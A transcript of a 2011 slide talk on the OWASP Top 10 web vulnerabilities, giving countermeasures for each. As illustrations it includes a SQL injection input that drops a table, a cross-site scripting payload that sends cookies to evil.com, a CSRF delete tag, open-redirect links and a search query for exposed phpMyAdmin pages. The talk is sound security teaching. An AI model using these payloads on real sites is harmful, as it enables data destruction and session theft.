Top 10 Web Security Vulnerabilities (OWASP Top 10)

The Top 10 Security Vulnerabilities in Web Applications
Brian “Bex” Huff
Chief Software Architect

Agenda
Intro
Open Web Application Security Project (OWASP)
Top 10 Security Vulnerabilities
Countermeasures

Intro
What is OWASP?
http://owasp.org
Worldwide non-profit focused on improving software security
Reaches out to ALL developers: not just security professionals
Who am I?
Oracle ACE Director
Author of 2 books on Oracle Technology
Twitter: @bex -- used to be @OWASP
Here to help all developers
What will you learn?
The top 10 security mistakes that developers make
How to design software with an assurance of security

OWASP Top Ten
Injection
Cross Site Scripting
Broken Authentication and Session Management
Insecure Direct Object References
Cross Site Request Forgery (CSRF)
Security Misconfiguration
Insecure Cryptographic Storage
Failure to Restrict URL Access
Insufficient Transport Layer Protection
Unvalidated Redirects and Forwards

1) Injection
Used when your app sends user-supplied data to other apps
Database, Operating System, LDAP, Web Services
Hackers "inject" their code to run instead of yours
To access unauthorized data, or completely take over remote application
Example: SQL injection attack String query = "SELECT * FROM products WHERE name='" + request.getParameter("id") +"'";
Code expects a nice parameter in the URL
http://example.com/products?id= 123
Hacker could instead supply this: http://example.com/products?id= ';+DROP+TABLE+'products';
';+DROP+TABLE+'products';
';+DROP+TABLE+'products';

Example
Don’t: name your child
Robert’); DROP TABLE Students;--
Do: expect SQL Injection

Countermeasures
"Connections" between systems are highly vulnerable
Always assume data coming in could be "evil"
be sure to include "evil" use cases and user stories in your design
Ideally, only allow the user to select among "safe" options
no generic text allowed
If user-input text is needed, use parameterized queries
clean up quotes, parenthesis, and SQL comments
Use a battle-tested library for protecting your database
Java PreparedStatement, OWASP's ESAPI codecs

2) Cross Site Scripting
Sites must "cleanse" user input before displaying it
Hackers can create URLs to inject their own HTML onto the page
can be used to do almost any kind of attack!!!
Example: JSP to draw HTML based on user input
String html = "<input name='item' type='TEXT' value='" + request.getParameter("item") + "'>";
Code expects a nice URL:
http://example.com/buy?item=123
But a hacker could supply this:
http://example.com/buy?item=' ><script>document.location=' http://evil.com/steal/'+document.cookie </script>
Then, try to trick somebody to go to that URL
Stolen cookies are frequently as good as stole passwords

Countermeasures
Never, ever, ever trust user-submitted content!
URLs, comments threads, web forms
Properly "escape" any data before displaying it on web pages
JavaScript parameters, URL parameters, STYLE elements
Remove script tags, and possibly anything with a SRC attribute
Use ESAPI to "cleanse" your HTML
Do not allow state-change from HTTP GET requests
Otherwise, an IMG tag could cause you to lose all your data
Set the HttpOnly flag in your response headers
Prevents document.cookie from working in JavaScript

3) Broken Authentication and Session Management
HTTP is a "stateless" protocol
Nice and simple: HTTP request, HTTP response
All data must be passed in the request every time
How do we store state?
Client side with cookies
Server side with sessions
Most apps place a "sessionId" in cookies, or in the URL
Problem: now stealing sessionIds is just as good as stealing passwords!
Multiple ways to determine a session ID
packet sniffing -- especially on an open WiFi access point
HttpReferrer logs, if sessionId is in the URL

Countermeasures
Assume that a user stole a session ID
Determine how bad this would be in your application
Use SSL everywhere!
Makes it harder for people to “sniff” your session ID
If you cannot use SSL everywhere, use it for logins
Have a cryptographically strong session ID
Good sessionIds should be very difficult to re-use
Embed user IP address, user name, timestamp, and a secret
Forces an attacker to spoof IP addresses to take over
Prompt for re-login if IP changes during a session

4) Insecure Direct Object References
Assume my project id is 123
I see a link on “My Projects” page that goes here:
http://example.com/projects/ 123
If I alter the URL, can I see other people’s projects?
http://example.com/projects/ 124
Do you only restrict access in the web form?
What if I could "guess" the URL? Could I see the page?
Don't trick yourself into thinking complex URLs are any more secure
Security != Obscurity

Countermeasures
Every resource needs a security level
What roles do you need to access certain items?
Access Control Lists are easy to implement, but don’t always scale
All access to that resource should go through the same check
What action are you taking, with what resource?
Put it all in one common codebase for simplicity
May need to run check multiple times, for sub-actions and sub-resources
Unusual behavior? Have additional authentication questions/layers!
Front-end restriction is nice for usability, but not security
Back-end application must double-check access rights

5) Cross Site Request Forgery (CSRF)
Evil sites can hijack your browser, and run secure request:
User logs into secure application behind the firewall
http://example.com/myApp
User goes to "evil" website, or loads up "evil" HTML email
HTML contains this image:
<img src=" http://example.com/myApp/ deleteEverything "></img>
With JavaScript and XSS, evil sites can completely take over your browser
Can browse around your intranet, log into bank accounts
Anything you are currently logged into
Complete control , as long as you stay on the evil site
Unfortunate side-effect of Single-Sign-On

Countermeasures
All state change should require a unique token in the request
But if its in the URL, it's vulnerable!
URLs are frequently logged, and can be "sniffed"
avoid reusable tokens
General solution:
All state change requires HTTP POST, not a GET
Put one-time token in a hidden field on the web form
After POST, do a GET redirect to a confirmation page
What kind of token?
Single-request tokens: safest, but a pain
Session-based tokens hashed with session ID and action
Require multiple-level authentication
If an action looks fishy, re-prompt user for login

6) Security Misconfiguration
Most web applications depend on some kind of framework
Weblogic, Spring, ADF, Ruby on Rails, Open Source Libraries
JARs and JARs and JARs of fun...
What if your framework issued a security patch?
Do you have a centralized policy for keeping dependencies up-to-date?
How long would it take you to discover new code?
How long would it take to recompile/test/redeploy?
Do you know all security configurations in the framework?
Odds are no... documentation is usually obtuse
“Being helpful is a security hole”
Have you properly "hardened" your framework?
Delete default users, disable unused services and ports

Countermeasures
Subscribe to newsletters and blog feeds to get patches
Install the patches as quickly as possible
Do periodic scans to detect misconfiguration / missing patches
Disable features that are "nice" for developers, but "nasty" for security
Use automation to ensure patches are up-to-date
If you can't verify it, it's not secure
Can you prove glass is bulletproof without firing bullets at it?
Taking over websites shouldn't be this easy:
http://www.google.com/search?q=inurl:SELECT+inurl:FROM+inurl:WHERE+intitle:phpmyadmin

7) Insecure Cryptographic Storage
All applications store sensitive data
Credit cards, passwords, secure documents
How much "sensitive" data is in your log files?
In general, or for exotic errors?
How are you preventing unauthorized access to these resources?
If somebody stole your backup tapes, how bad would it be?

Countermeasures
If you store secrets, encrypt them!
Use only battle-tested standard encryption algorithms
Analyze possible threats: inside attack, external user
Make sure encryption policy is appropriate for the threats
Encrypt data anywhere it's stored long term
Especially backups!
Store backups of decryption keys separately from data
Restrict access to decrypted data to only authorized users
Hash all passwords with a standard algorithm, and a "salt"
Use strong keys to access the information
Create a password management policy, and stick with it!

8) Failure to Restrict URL Access
Similar to #4: Insecure Direct Object Reference
Need to block specific actions , even if no resource is identified
Example: my project is 123
I will see these URLs on my home page:
http://example.com/project/123
http://example.com/user/getProjects/
I could fish around and try other URLs as well:
http://example.com/ manager/getProjects/
http://example.com/ admin/getProjects/
Would your application prevent this?
Same general issue:
you have front-end security, but not back-end security

Countermeasures
Do authentication checks at least twice
Front end UI, and back end Controller
Don't draw URLs to the page if the user cannot access them
Bad usability
Hackers might be tempted to fish around for vulnerabilities
Never assume a URL is allowed
Do back-end checks for access, and state change
Add even more layers as needed:
Does all security information exist in the URL?
Can you authenticate right away?
Might you need to get half way through the request before you know what rights are needed?
What if the user has access, but their behavior is unusual
should you prompt for password again, or perhaps for additional authorization?

9) Insufficient Transport Layer Protection
How is sensitive information sent from the user to your server?
When they log in, or view sensitive data?
How do you send that information to other systems?
JDBC call, Web Services, JMS, emails
It is shockingly easy to eavesdrop on web traffic
Probably no surprise to this crowd ;-)
Wireless access points make it even easier
Need password encryption at the WEP/WAP layer

Countermeasures
Use strong, standards compliant network security protocols
Use TLS (SSL) on all connections with sensitive data
Encrypt messages before transmission
XML-Encryption
Sign messages before transmission
XML-Signature
Disable old, flawed encryption algorithms (ie, SSL 2.0)
If HTTPS is impractical, at the very least secure the login process

10) Unvalidated Redirects and Forwards
Most sites allow redirects to other sites, or pages within the site:
http://example.com/redirect?url= google.com
But, open redirect pages can be used by "phishers" to create links to their site:
http://example.com/redirect?url= evil.com
Link looks like it goes to "example.com", but it goes to "evil.com"
Or, can trick a site user into harming their own site:
http://example.com/redirect?url= /admin.jsp?deleteEverything=true
Sometimes called "phishing holes"

Countermeasures
Restrict redirects to a limited number of "trusted" sites
Keep a list of all redirect URLs, and pass the ID in the request, instead of the URL
http://example.com/redirect?urlId=123
Hash the URL with a secret, and pass the hash in the URL
http://example.com/redirect?url=google.com&hash=a1b2c3
Question: are URL shorteners inherently unsafe?
TinyUrl offers a "preview" feature: others should as well
Question: does this URL look like a Google Invoice to you?
http://www.google.com/#invoiceId=123&q=qb_hqexKkw8&btnI=3564

Further Recommendations
Read the entire OWASP Top 10
http://owasp.org/index.php/Top_10_2010-Main
Read through the ESAPI documentation, and use it!
http://www.owasp.org/index.php/ESAPI
Quiz your developers about what security is needed and why
Audit to find threats with biggest business impact
Reminder: security is everybody's responsibility!

My Company: http://bezzotech.com
My Blog: http://bexhuff.com
My Tweets: @bex
My Self: [email_address]
Questions?

http://bexhuff.com	8917
http://www.bexhuff.com	281
http://bexhuff.bezzotech.com	62
url_unknown	29
http://webcache.googleusercontent.com	15
http://translate.googleusercontent.com	9
http://www.slideshare.net	4
http://hghltd.yandex.net	3
http://itnewscast.com	2
http://community.oraclepressbooks.com	1
http://cache.baidu.com	1

Top 10 Web Security Vulnerabilities (OWASP Top 10)

by Brian Huff on May 29, 2011

Accessibility

Categories

Upload Details

Usage Rights

11 Embeds 9,324

Statistics

Top 10 Web Security Vulnerabilities (OWASP Top 10) Presentation Transcript